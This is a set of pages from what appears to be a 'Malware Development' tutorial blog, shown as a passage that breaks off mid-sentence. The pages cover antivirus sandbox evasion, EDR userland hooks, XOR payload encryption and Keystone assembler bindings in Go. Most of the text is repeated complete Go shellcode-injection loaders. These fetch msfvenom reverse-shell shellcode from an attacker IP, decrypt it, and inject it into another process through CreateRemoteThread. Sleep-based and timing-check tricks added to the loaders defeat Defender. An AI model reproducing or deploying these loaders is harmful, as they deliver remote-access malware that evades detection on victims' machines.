Development A common technique used to evade sandbox detection is adding a delay. The idea here is to stop execution before performing any malicious action. This will cause the Sandbox checks to timeout and not flag our payload as malicious. There are a few issues with this technique: * The Antivirus might detect that the executable has a sleep in the main function and therefore flag it as malicious. * I found any sleep functions to be for effective when they are called within a wrapper function outside the main() * Some AV engines will speed up the the sleep function (more sandbox evasion opportunities) Let's explore some code examples in GO. Part of the golang standard library is the package [time](https://pkg.go.dev/time) . This package has a few functions that could be useful Last updated 2 years ago Was this helpful? --- # 1. What are userland hooks? | Malware Development Userland hooks are a technique used to intercept and modify the execution of a function in user mode. This can be used for a variety of purposes, such as monitoring and debugging applications, or injecting malicious code into a running process. Malicious attackers use this technique to inject malicious code and legitimate software use hooking for debugging and monitoring. ### [](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/1.-what-are-userland-hooks#malicious-implementation) Malicious implementation [RdpThief](https://github.com/0x09AL/RdpThief) is a dll that can be injected in the mstsc.exe (RPD client) process to identify the target host, username and password. It achieves that by hooking 3 functions: * [_CredIsMarshaledCredentialW_](https://learn.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credismarshaledcredentialw) * [_CryptProtectMemory_](https://learn.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptprotectmemory) * [SspiPrepareForCredRead](https://learn.microsoft.com/en-us/windows/win32/api/sspi/nf-sspi-sspiprepareforcredread) To hook these functions the [detours package](https://github.com/microsoft/Detours) developed by Microsoft is used. It uses a technique called Inline Hooking. Inline Hooking involves inserting code into the application's code at the entry point of the function that you want to hook. This code will then call your hook function in order to extract the host, username and password before continuing with the execution of the original function. The user logging to the remote system will have no way of knowing that this action took place unless it's picked up by an AV solution installed on the endpoint. The extracted information are then written to disk. ### [](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/1.-what-are-userland-hooks#edr-implementation) EDR Implementation EDR solutions use the same techniques to determine if a function is used for a malicious purpose. The same pattern is following: * Inject an EDRVendor.dll in the newly created process * Install inline hooks on frequently abused functions. * Determine if the function is abused for malicious purpose, and if not continue execution of the original function Let's see how an unhooked function from ntdll looks like in memory. function without hooks Copy 0:015> u ntdll!NtAdjustPrivilegesToken ntdll!NtAdjustPrivilegesToken: 00007ffa`a898f560 4c8bd1 mov r10,rcx 00007ffa`a898f563 b841000000 mov eax,41h 00007ffa`a898f568 f604250803fe7f01 test byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1 00007ffa`a898f570 7503 jne ntdll!NtAdjustPrivilegesToken+0x15 (00007ffa`a898f575) 00007ffa`a898f572 0f05 syscall 00007ffa`a898f574 c3 ret 00007ffa`a898f575 cd2e int 2Eh 00007ffa`a898f577 c3 ret Without going into too much detail this is how an unhooked function looks like in a debugger. Let's see how the exact same function looks like on a host with an EDR installed. Hooked function Copy 0:007> u ntdll!NtAdjustPrivilegesToken ntdll!NtAdjustPrivilegesToken: 00007ff9`b062f460 e9932957bd jmp 00007ff9`6dba1df8 00007ff9`b062f465 cc int 3 00007ff9`b062f466 cc int 3 00007ff9`b062f467 cc int 3 00007ff9`b062f468 f604250803fe7f01 test byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1 00007ff9`b062f470 7503 jne ntdll!NtAdjustPrivilegesToken+0x15 (00007ff9`b062f475) 00007ff9`b062f472 0f05 syscall 00007ff9`b062f474 c3 ret We can see that on the hooked function on line 3 there is a jmp instruction to an address. This essentially is how a hook looks like. The destination address will do some processing on behalf of the EDR to identify if there is any malicious intend. In the upcoming blogs we will explore how we can bypass these hooks. Last updated 2 years ago Was this helpful? --- # 1. time.Sleep() 1/2 | Malware Development ### [](https://www.scriptchildie.com/evasion/av-bypass/3.-delay-execution/1.-time.sleep-1-2#time.sleep) [time.Sleep()](https://pkg.go.dev/time#example-Sleep) When we created the [previous payload](https://www.scriptchildie.com/evasion/av-bypass/2.-remove-the-shellcode-from-the-payload) . The following pop up showed up. This suggests that Defender suspects our payload as malicious. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FbJrmvGgBd9HluvcPzb3Q%252Fimage.png%3Falt%3Dmedia%26token%3D9af1c677-d2da-4670-b443-20a746a448f2&width=768&dpr=4&quality=100&sign=5f5a677a&sv=2) Suspicious file By adding the following code at the beginning of our code, Defender no longer suspects this file as malicious. Our little piece of code delays execution for 10 seconds before downloading the payload. This most likely causes defender sandbox checks to time out. Copy fmt.Println("Sleeping for 10 Seconds") time.Sleep(10 * time.Second) fmt.Println("Woke Up ... Execution Continues") ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FUjZkdPUtcD8nb2dMqLHv%252Fimage.png%3Falt%3Dmedia%26token%3D997f67dd-7e05-4d2c-bbbe-d2ebfe1a15b3&width=768&dpr=4&quality=100&sign=a5e8be56&sv=2) Successful reverse shell execution ### [](https://www.scriptchildie.com/evasion/av-bypass/3.-delay-execution/1.-time.sleep-1-2#complete-code) Complete Code Copy package main import ( "fmt" "io" "log" "net/http" "syscall" "time" "unsafe" "golang.org/x/sys/windows" ) func main() { fmt.Println("Sleeping for 10 Seconds") time.Sleep(10 * time.Second) fmt.Println("Woke Up ... Execution Continues") pid := uint32(2924) PROCESS_ALL_ACCESS := windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xFFFF //msfvenom -f raw -p windows/x64/shell_reverse_tcp LHOST=192.168.217.128 LPORT=443 -o shcode.malic sc, err := wget("http://192.168.217.128/shcode.malic") if err != nil { log.Fatalf("[FATAL] Unable to connect to the host %v ", err) } fmt.Printf("[+] Getting a handle on process with pid: %d\n", pid) pHandle, err := windows.OpenProcess(uint32(PROCESS_ALL_ACCESS), false, pid) if err != nil { log.Fatalf("[FATAL] Unable to get a handle on process with id: %d : %v ", pid, err) } fmt.Printf("[+] Obtained a handle 0x%x on process with ID: %d\n", pHandle, pid) modKernel32 := syscall.NewLazyDLL("kernel32.dll") procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx") addr, _, lastErr := procVirtualAllocEx.Call( uintptr(pHandle), uintptr(0), uintptr(len(sc)), uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE), uintptr(windows.PAGE_READWRITE)) if addr == 0 { log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr) } fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr) var numberOfBytesWritten uintptr err = windows.WriteProcessMemory(pHandle, addr, &sc[0], uintptr(len(sc)), &numberOfBytesWritten) if err != nil { log.Fatalf("[FATAL] Unable to write shellcode to the the allocated address") } fmt.Printf("[+] Wrote %d/%d bytes to destination address\n", numberOfBytesWritten, len(sc)) var oldProtect uint32 err = windows.VirtualProtectEx(pHandle, addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect) if err != nil { log.Fatalf("[FATAL] VirtualProtect Failed: %v", err) } procCreateRemoteThread := modKernel32.NewProc("CreateRemoteThread") var threadId uint32 = 0 tHandle, _, lastErr := procCreateRemoteThread.Call( uintptr(pHandle), uintptr(0), uintptr(0), addr, uintptr(0), uintptr(0), uintptr(unsafe.Pointer(&threadId)), ) if tHandle == 0 { log.Fatalf("[FATAL] Unable to Create Remote Thread: %v \n", lastErr) } fmt.Printf("[+] Handle of newly created thread: 0x%x \n[+] Thread ID: %d\n", tHandle, threadId) //windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE) } func wget(url string) ([]byte, error) { resp, err := http.Get(url) if err != nil { return []byte{}, err } defer resp.Body.Close() body, err := io.ReadAll(resp.Body) if err != nil { return []byte{}, err } return body, nil } Last updated 2 years ago Was this helpful? --- # 4. XOR Encryption | Malware Development Another technique frequently used is to download an encrypted payload and decrypt it at runtime. There are various of ways of encrypting a payload. Some examples below: * [AES](https://pkg.go.dev/crypto/aes) * [RSA](https://pkg.go.dev/crypto/rsa) * [SystemFunction032](https://doxygen.reactos.org/df/d13/sysfunc_8c.html#a66d55017b8625d505bd6c5707bdb9725) Although these are probably better at encrypting our payload I found XOR encryption to be sufficient most times. Let's write a quick encryption code that takes our shellcode file as an argument and writes a copy of the encrypted file. ### [](https://www.scriptchildie.com/evasion/av-bypass/4.-xor-encryption#encryption) Encryption main.go Copy package main import ( "fmt" "log" "os" ) func main() { key := byte(0x9A) if len(os.Args) < 2 { fmt.Println("Usage: encrypt ") os.Exit(1) } // Get the path from the command line argument path := os.Args[1] _, err := os.Stat(path) if err != nil { log.Fatalf("[FATAL] File %s doesn't exist", path) } fmt.Println("[+] Reading bytes of shellcode") // Read the entire file into a byte slice fileData, err := os.ReadFile(path) if err != nil { log.Fatalf("[FATAL] Error reading file:", err) } // Encrypt data and add to encryptedData encryptedData := make([]byte, len(fileData)) fmt.Println("[+] Encrypting bytes of shellcode") for i := 0; i < len(encryptedData); i++ { encryptedData[i] = fileData[i] ^ key } fmt.Printf("[+] Writing encoded bytes at %s", path+"_ENC") // Write encryptedData to file os.WriteFile(path+"_ENC", encryptedData, 0644) } * Lines 10 - 23: Check if the argument was passed to our program and if the file actually exists. If not the program terminates. * Lines 24-30: Reads the contents of the file in the 'fileData' byte slice * Lines 31-36: Creates a new byte slice called encryptedData, then loops through the contents of fileData and XORs them with the key provided on line 10 and adds the data in encryptedData. * Lines 37-39: Writes the contents of the encrytedData and outputs the file at the same directory with "\_ENC" appended at the end of the filename ### [](https://www.scriptchildie.com/evasion/av-bypass/4.-xor-encryption#decrypt) Decrypt The same code can be reused in our shellcode injection code to decrypt the payload. Copy //Decrypt fmt.Println("[+] Decrypting Encrypted Data") key := byte(0x9A) sc := make([]byte, len(encryptedData)) for i := 0; i < len(encryptedData); i++ { sc[i] = encryptedData[i] ^ key } ### [](https://www.scriptchildie.com/evasion/av-bypass/4.-xor-encryption#complete-code) Complete Code Copy package main import ( "fmt" "io" "log" "net/http" "syscall" "time" "unsafe" "golang.org/x/sys/windows" ) func main() { // Sleep for 10 seconds var t0, t1 time.Time fmt.Println("[+] Sleeping for 10 Seconds") t0 = time.Now() for { t1 = time.Now() diff := t1.Sub(t0) if diff.Seconds() > 10 { break } } fmt.Println("[+] Woke Up ... Execution Continues") pid := uint32(22040) PROCESS_ALL_ACCESS := windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xFFFF //msfvenom -f raw -p windows/x64/shell_reverse_tcp LHOST=192.168.217.128 LPORT=443 -o shcode.malic //encrypted payload using our go encrypter fmt.Println("[+] Downloading Encrypted Data") encryptedData, err := wget("http://192.168.217.128/shcode.malic_ENC") if err != nil { log.Fatalf("[FATAL] Unable to connect to the host %v ", err) } //Decrypt fmt.Println("[+] Decrypting Encrypted Data") key := byte(0x9A) sc := make([]byte, len(encryptedData)) for i := 0; i < len(encryptedData); i++ { sc[i] = encryptedData[i] ^ key } fmt.Printf("[+] Getting a handle on process with pid: %d\n", pid) pHandle, err := windows.OpenProcess(uint32(PROCESS_ALL_ACCESS), false, pid) if err != nil { log.Fatalf("[FATAL] Unable to get a handle on process with id: %d : %v ", pid, err) } fmt.Printf("[+] Obtained a handle 0x%x on process with ID: %d\n", pHandle, pid) modKernel32 := syscall.NewLazyDLL("kernel32.dll") procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx") addr, _, lastErr := procVirtualAllocEx.Call( uintptr(pHandle), uintptr(0), uintptr(len(sc)), uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE), uintptr(windows.PAGE_READWRITE)) if addr == 0 { log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr) } fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr) var numberOfBytesWritten uintptr err = windows.WriteProcessMemory(pHandle, addr, &sc[0], uintptr(len(sc)), &numberOfBytesWritten) if err != nil { log.Fatalf("[FATAL] Unable to write shellcode to the the allocated address") } fmt.Printf("[+] Wrote %d/%d bytes to destination address\n", numberOfBytesWritten, len(sc)) var oldProtect uint32 err = windows.VirtualProtectEx(pHandle, addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect) if err != nil { log.Fatalf("[FATAL] VirtualProtect Failed: %v", err) } procCreateRemoteThread := modKernel32.NewProc("CreateRemoteThread") var threadId uint32 = 0 tHandle, _, lastErr := procCreateRemoteThread.Call( uintptr(pHandle), uintptr(0), uintptr(0), addr, uintptr(0), uintptr(0), uintptr(unsafe.Pointer(&threadId)), ) if tHandle == 0 { log.Fatalf("[FATAL] Unable to Create Remote Thread: %v \n", lastErr) } fmt.Printf("[+] Handle of newly created thread: 0x%x \n[+] Thread ID: %d\n", tHandle, threadId) //windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE) } func wget(url string) ([]byte, error) { resp, err := http.Get(url) if err != nil { return []byte{}, err } defer resp.Body.Close() body, err := io.ReadAll(resp.Body) if err != nil { return []byte{}, err } return body, nil } Last updated 2 years ago Was this helpful? --- # 2. Userland Hooks | Malware Development [1\. What are userland hooks?](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/1.-what-are-userland-hooks) [2\. Load a fresh copy of the dll from disk](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/2.-load-a-fresh-copy-of-the-dll-from-disk) [3\. Programmatically detect ntdll hooks](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/3.-programmatically-detect-ntdll-hooks) [4\. Direct and Indirect Syscalls (shellcode runner)](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/4.-direct-and-indirect-syscalls-shellcode-runner) Was this helpful? --- # 2. time.Sleep() 2/2 | Malware Development ### [](https://www.scriptchildie.com/evasion/av-bypass/3.-delay-execution/2.-time.sleep-2-2#time.sleep) [time.Sleep()](https://pkg.go.dev/time#example-Sleep) As mentioned previously some AV sandbox will speed up execution of sleep functions to identify if any malicious action occurs without timing out. A simple way to detect if the sleep function actually slept for 10 seconds is to get the time before and after the sleep function and calculate the difference. An example of the exact code is provided by the [golang package](https://pkg.go.dev/time#pkg-types) . Copy fmt.Println("[+] Sleeping for 10 Seconds") t0 := time.Now() time.Sleep(10 * time.Second) t1 := time.Now() diff := t1.Sub(t0) fmt.Println("[+] Woke Up ... Execution Continues") fmt.Printf("[+] The call took %v to run.\n", diff) if diff.Seconds() < 10 { log.Fatalln("[FATAL] Execution faster than 10 seconds") } * In line 5 we calculate the difference of the time before and after the sleep function. * In line 9 we check if that's less than 10 seconds we terminate execution ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FtFFHdtSKoWW1I8vIfbC8%252Fimage.png%3Falt%3Dmedia%26token%3Dd5b8744f-e24b-41ac-a188-dfab2ba2a8f8&width=768&dpr=4&quality=100&sign=ea01f72a&sv=2) ### [](https://www.scriptchildie.com/evasion/av-bypass/3.-delay-execution/2.-time.sleep-2-2#complete-code) Complete Code Copy package main import ( "fmt" "io" "log" "net/http" "syscall" "time" "unsafe" "golang.org/x/sys/windows" ) func main() { fmt.Println("[+] Sleeping for 10 Seconds") t0 := time.Now() time.Sleep(10 * time.Second) t1 := time.Now() diff := t1.Sub(t0) fmt.Println("[+] Woke Up ... Execution Continues") fmt.Printf("[+] The call took %v to run.\n", diff) if diff.Seconds() < 10 { log.Fatalln("[FATAL] Execution faster than 10 seconds") } pid := uint32(2924) PROCESS_ALL_ACCESS := windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xFFFF //msfvenom -f raw -p windows/x64/shell_reverse_tcp LHOST=192.168.217.128 LPORT=443 -o shcode.malic sc, err := wget("http://192.168.217.128/shcode.malic") if err != nil { log.Fatalf("[FATAL] Unable to connect to the host %v ", err) } fmt.Printf("[+] Getting a handle on process with pid: %d\n", pid) pHandle, err := windows.OpenProcess(uint32(PROCESS_ALL_ACCESS), false, pid) if err != nil { log.Fatalf("[FATAL] Unable to get a handle on process with id: %d : %v ", pid, err) } fmt.Printf("[+] Obtained a handle 0x%x on process with ID: %d\n", pHandle, pid) modKernel32 := syscall.NewLazyDLL("kernel32.dll") procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx") addr, _, lastErr := procVirtualAllocEx.Call( uintptr(pHandle), uintptr(0), uintptr(len(sc)), uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE), uintptr(windows.PAGE_READWRITE)) if addr == 0 { log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr) } fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr) var numberOfBytesWritten uintptr err = windows.WriteProcessMemory(pHandle, addr, &sc[0], uintptr(len(sc)), &numberOfBytesWritten) if err != nil { log.Fatalf("[FATAL] Unable to write shellcode to the the allocated address") } fmt.Printf("[+] Wrote %d/%d bytes to destination address\n", numberOfBytesWritten, len(sc)) var oldProtect uint32 err = windows.VirtualProtectEx(pHandle, addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect) if err != nil { log.Fatalf("[FATAL] VirtualProtect Failed: %v", err) } procCreateRemoteThread := modKernel32.NewProc("CreateRemoteThread") var threadId uint32 = 0 tHandle, _, lastErr := procCreateRemoteThread.Call( uintptr(pHandle), uintptr(0), uintptr(0), addr, uintptr(0), uintptr(0), uintptr(unsafe.Pointer(&threadId)), ) if tHandle == 0 { log.Fatalf("[FATAL] Unable to Create Remote Thread: %v \n", lastErr) } fmt.Printf("[+] Handle of newly created thread: 0x%x \n[+] Thread ID: %d\n", tHandle, threadId) //windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE) } func wget(url string) ([]byte, error) { resp, err := http.Get(url) if err != nil { return []byte{}, err } defer resp.Body.Close() body, err := io.ReadAll(resp.Body) if err != nil { return []byte{}, err } return body, nil } Last updated 2 years ago Was this helpful? --- # 3. Custom Sleep function | Malware Development Some times running the sleep function straight after execution begins is detected by AV engines as malicious. Creating a custom sleep function might be a better solution. There are endless ways of implementing a custom sleep function. A quick example is the following Copy var t0, t1 time.Time fmt.Println("[+] Sleeping for 10 Seconds") t0 = time.Now() for { t1 = time.Now() diff := t1.Sub(t0) if diff.Seconds() > 10 { break } } fmt.Println("[+] Woke Up ... Execution Continues") Similar to the previous step. The difference here is that we use an infinite loop as long as the difference of t0 and t1 is less than 10 seconds. The break command on line 9 allows us to exit the infinite loop. ### [](https://www.scriptchildie.com/evasion/av-bypass/3.-delay-execution/3.-custom-sleep-function#complete-code) Complete Code: Copy package main import ( "fmt" "io" "log" "net/http" "syscall" "time" "unsafe" "golang.org/x/sys/windows" ) func main() { var t0, t1 time.Time fmt.Println("[+] Sleeping for 10 Seconds") t0 = time.Now() for { t1 = time.Now() diff := t1.Sub(t0) if diff.Seconds() > 10 { break } } fmt.Println("[+] Woke Up ... Execution Continues") pid := uint32(2924) PROCESS_ALL_ACCESS := windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xFFFF //msfvenom -f raw -p windows/x64/shell_reverse_tcp LHOST=192.168.217.128 LPORT=443 -o shcode.malic sc, err := wget("http://192.168.217.128/shcode.malic") if err != nil { log.Fatalf("[FATAL] Unable to connect to the host %v ", err) } fmt.Printf("[+] Getting a handle on process with pid: %d\n", pid) pHandle, err := windows.OpenProcess(uint32(PROCESS_ALL_ACCESS), false, pid) if err != nil { log.Fatalf("[FATAL] Unable to get a handle on process with id: %d : %v ", pid, err) } fmt.Printf("[+] Obtained a handle 0x%x on process with ID: %d\n", pHandle, pid) modKernel32 := syscall.NewLazyDLL("kernel32.dll") procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx") addr, _, lastErr := procVirtualAllocEx.Call( uintptr(pHandle), uintptr(0), uintptr(len(sc)), uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE), uintptr(windows.PAGE_READWRITE)) if addr == 0 { log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr) } fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr) var numberOfBytesWritten uintptr err = windows.WriteProcessMemory(pHandle, addr, &sc[0], uintptr(len(sc)), &numberOfBytesWritten) if err != nil { log.Fatalf("[FATAL] Unable to write shellcode to the the allocated address") } fmt.Printf("[+] Wrote %d/%d bytes to destination address\n", numberOfBytesWritten, len(sc)) var oldProtect uint32 err = windows.VirtualProtectEx(pHandle, addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect) if err != nil { log.Fatalf("[FATAL] VirtualProtect Failed: %v", err) } procCreateRemoteThread := modKernel32.NewProc("CreateRemoteThread") var threadId uint32 = 0 tHandle, _, lastErr := procCreateRemoteThread.Call( uintptr(pHandle), uintptr(0), uintptr(0), addr, uintptr(0), uintptr(0), uintptr(unsafe.Pointer(&threadId)), ) if tHandle == 0 { log.Fatalf("[FATAL] Unable to Create Remote Thread: %v \n", lastErr) } fmt.Printf("[+] Handle of newly created thread: 0x%x \n[+] Thread ID: %d\n", tHandle, threadId) //windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE) } func wget(url string) ([]byte, error) { resp, err := http.Get(url) if err != nil { return []byte{}, err } defer resp.Body.Close() body, err := io.ReadAll(resp.Body) if err != nil { return []byte{}, err } return body, nil } Last updated 1 year ago Was this helpful? --- # 1. Keystone Engine | Malware Development [](https://www.scriptchildie.com/payloads/shellcode-development/1.-keystone-engine#keystone-engine) Keystone Engine ------------------------------------------------------------------------------------------------------------------------ From the [official website](https://www.keystone-engine.org/) this is how keystone is described: _Keystone is a lightweight multi-platform, multi-architecture assembler framework._ _Highlight features:_ * _Multi-architecture, with support for Arm, Arm64 (AArch64/Armv8), Ethereum Virtual Machine, Hexagon, Mips, PowerPC, Sparc, SystemZ, & X86 (include 16/32/64bit)._ * _Clean/simple/lightweight/intuitive architecture-neutral API._ * _Implemented in C/C++ languages, with bindings for Java, Masm, Visual Basic, C#, PowerShell, Perl, Python, NodeJS, Ruby, Go, Rust, Haskell & OCaml available._ * _Native support for Windows & \*nix (with Mac OSX, Linux, \*BSD & Solaris confirmed)._ * _Thread-safe by design._ * _Open source._ _Keystone is based on_ [_LLVM_](http://www.llvm.org/) _, but it goes much further with_ [_a lot more to offer_](https://www.keystone-engine.org/docs/beyond_llvm.html) _. Find in this_ [_Blackhat USA 2016 slides_](https://www.keystone-engine.org/docs/BHUSA2016-keystone.pdf) _more technical details behind our assembler engine._ [](https://www.scriptchildie.com/payloads/shellcode-development/1.-keystone-engine#keystone-with-golang) Keystone with GoLang ---------------------------------------------------------------------------------------------------------------------------------- A package with go bindings is provided [here](https://pkg.go.dev/github.com/keystone-engine/keystone/bindings/go) but unfortunately it requires cgo to compile. I love both go and c but cgo is appalling in my opinion. Thankfully the keystone engine provides a DLL we can use. The caveat when using the dll is that it will only run on windows. If you need to run keystone on linux it's probably easier to use python instead (or cgo). [](https://www.scriptchildie.com/payloads/shellcode-development/1.-keystone-engine#documentation) Documentation -------------------------------------------------------------------------------------------------------------------- There is no real documentation for the framework. A few examples can be found [here](https://www.keystone-engine.org/docs/tutorial.html) and some on their [github page](https://github.com/keystone-engine/keystone/blob/master/bindings/go/keystone/samples/main.go) . What I found useful is to download the Windows-Core Engine from [here](https://www.keystone-engine.org/download/) (it includes the precompiled dll). Make sure to download the dll for the right architecture. In the 'includes' folder the `keystone.h` file can be found with descriptions of the exported functions and how the framework should be used. A sample from the header is shown below: Copy /* Assemble a string given its the buffer, size, start address and number of instructions to be decoded. This API dynamically allocate memory to contain assembled instruction. Resulted array of bytes containing the machine code is put into @*encoding NOTE 1: this API will automatically determine memory needed to contain output bytes in *encoding. NOTE 2: caller must free the allocated memory itself to avoid memory leaking. @ks: handle returned by ks_open() @str: NULL-terminated assembly string. Use ; or \n to separate statements. @address: address of the first assembly instruction, or 0 to ignore. @encoding: array of bytes containing encoding of input assembly string. NOTE: *encoding will be allocated by this function, and should be freed with ks_free() function. @encoding_size: size of *encoding @stat_count: number of statements successfully processed @return: 0 on success, or -1 on failure. On failure, call ks_errno() for error code. */ KEYSTONE_EXPORT int ks_asm(ks_engine *ks, const char *string, uint64_t address, unsigned char **encoding, size_t *encoding_size, size_t *stat_count); [](https://www.scriptchildie.com/payloads/shellcode-development/1.-keystone-engine#golang-implementation) Golang Implementation ------------------------------------------------------------------------------------------------------------------------------------ Up until now I only needed to develop 32 and 64bit shellcode for x86 architecture, so I will not bother adding extra constants for arm etc. Also I am not planning to implement this as part of a large project so I will not implement functions such as ks\_free() that frees memory. [](https://www.scriptchildie.com/payloads/shellcode-development/1.-keystone-engine#keystone-functions) Keystone functions ------------------------------------------------------------------------------------------------------------------------------ The following functions will be implemented: * ks\_open (creates a new instance of keystone) * ks\_asm (it receives the assembly string and returns the assembly equivalent bytes) Let's dive into it. [](https://www.scriptchildie.com/payloads/shellcode-development/1.-keystone-engine#code) Code -------------------------------------------------------------------------------------------------- Firstly we need to download the dll from [here](https://www.keystone-engine.org/download/) and include it in our current working path. We then import the dll using LoadLibrary from the windows package. Copy fmt.Println("[+] Loading keystone.dll") hModule, err := windows.LoadLibrary("keystone.dll") if err != nil { return []byte{}, fmt.Errorf("Failed to load Libray\n") } If the dll is in a different directory make sure to include the absolute path. As mentioned previously from the exported functions we will only use ks\_open and ks\_asm. Using GetProcAddress from the windows package we can get the functions' addresses. Copy fmt.Println("[+] Getting function addresses") ks_open_proc, err := windows.GetProcAddress(hModule, "ks_open") if err != nil { return []byte{}, fmt.Errorf("Failed to get address for ks_open\n") } ks_asm_proc, err := windows.GetProcAddress(hModule, "ks_asm") if err != nil { return []byte{}, fmt.Errorf("Failed to get address for ks_asm\n") } ### [](https://www.scriptchildie.com/payloads/shellcode-development/1.-keystone-engine#ks_open-function) ks\_open() function Copy /* Create new instance of Keystone engine. @arch: architecture type (KS_ARCH_*) @mode: hardware mode. This is combined of KS_MODE_* @ks: pointer to ks_engine, which will be updated at return time @return KS_ERR_OK on success, or other value on failure (refer to ks_err enum for detailed error). */ KEYSTONE_EXPORT ks_err ks_open(ks_arch arch, int mode, ks_engine **ks); As we can see from the above definition in the keystone header we need to define the architecture, mode and provide a pointer of the location where our session handle will be stored. The architecture constants are defined below Copy // Architecture type typedef enum ks_arch { KS_ARCH_ARM = 1, // ARM architecture (including Thumb, Thumb-2) KS_ARCH_ARM64, // ARM-64, also called AArch64 KS_ARCH_MIPS, // Mips architecture KS_ARCH_X86, // X86 architecture (including x86 & x86-64) KS_ARCH_PPC, // PowerPC architecture (currently unsupported) KS_ARCH_SPARC, // Sparc architecture KS_ARCH_SYSTEMZ, // SystemZ architecture (S390X) KS_ARCH_HEXAGON, // Hexagon architecture KS_ARCH_EVM, // Ethereum Virtual Machine architecture KS_ARCH_MAX, } ks_arch; And the modes: Copy // Mode type typedef enum ks_mode { KS_MODE_LITTLE_ENDIAN = 0, // little-endian mode (default mode) KS_MODE_BIG_ENDIAN = 1 << 30, // big-endian mode // arm / arm64 KS_MODE_ARM = 1 << 0, // ARM mode KS_MODE_THUMB = 1 << 4, // THUMB mode (including Thumb-2) KS_MODE_V8 = 1 << 6, // ARMv8 A32 encodings for ARM // mips KS_MODE_MICRO = 1 << 4, // MicroMips mode KS_MODE_MIPS3 = 1 << 5, // Mips III ISA KS_MODE_MIPS32R6 = 1 << 6, // Mips32r6 ISA KS_MODE_MIPS32 = 1 << 2, // Mips32 ISA KS_MODE_MIPS64 = 1 << 3, // Mips64 ISA // x86 / x64 KS_MODE_16 = 1 << 1, // 16-bit mode KS_MODE_32 = 1 << 2, // 32-bit mode KS_MODE_64 = 1 << 3, // 64-bit mode // ppc KS_MODE_PPC32 = 1 << 2, // 32-bit mode KS_MODE_PPC64 = 1 << 3, // 64-bit mode KS_MODE_QPX = 1 << 4, // Quad Processing eXtensions mode // sparc KS_MODE_SPARC32 = 1 << 2, // 32-bit mode KS_MODE_SPARC64 = 1 << 3, // 64-bit mode KS_MODE_V9 = 1 << 4, // SparcV9 mode } ks_mode; From the definitions above we will only go ahead and implement the following : Copy const ( MODE_32 = 4 MODE_64 = 8 ARCH_X86 = 4 ) With everything required in place we can go ahead and call the function. If 32-bit shellcode is required we should change MODE\_64 to MODE\_32. Copy fmt.Println("[+] Running ks_open_proc") var ksSession uintptr r1, _, err := syscall.SyscallN(ks_open_proc, uintptr(ARCH_X86), uintptr(MODE_64), uintptr(unsafe.Pointer(&ksSession))) if r1 != 0 { return []byte{}, fmt.Errorf("ks_open failed") } ### [](https://www.scriptchildie.com/payloads/shellcode-development/1.-keystone-engine#ks_asm-function) ks\_asm() function Copy /* Assemble a string given its the buffer, size, start address and number of instructions to be decoded. This API dynamically allocate memory to contain assembled instruction. Resulted array of bytes containing the machine code is put into @*encoding NOTE 1: this API will automatically determine memory needed to contain output bytes in *encoding. NOTE 2: caller must free the allocated memory itself to avoid memory leaking. @ks: handle returned by ks_open() @str: NULL-terminated assembly string. Use ; or \n to separate statements. @address: address of the first assembly instruction, or 0 to ignore. @encoding: array of bytes containing encoding of input assembly string. NOTE: *encoding will be allocated by this function, and should be freed with ks_free() function. @encoding_size: size of *encoding @stat_count: number of statements successfully processed @return: 0 on success, or -1 on failure. On failure, call ks_errno() for error code. */ KEYSTONE_EXPORT int ks_asm(ks_engine *ks, const char *string, uint64_t address, unsigned char **encoding, size_t *encoding_size, size_t *stat_count); From the above definition we will require the following: * the handle returned by ks\_open stored in variable ksSession . * We then require a pointer to our null terminated string. * address can be 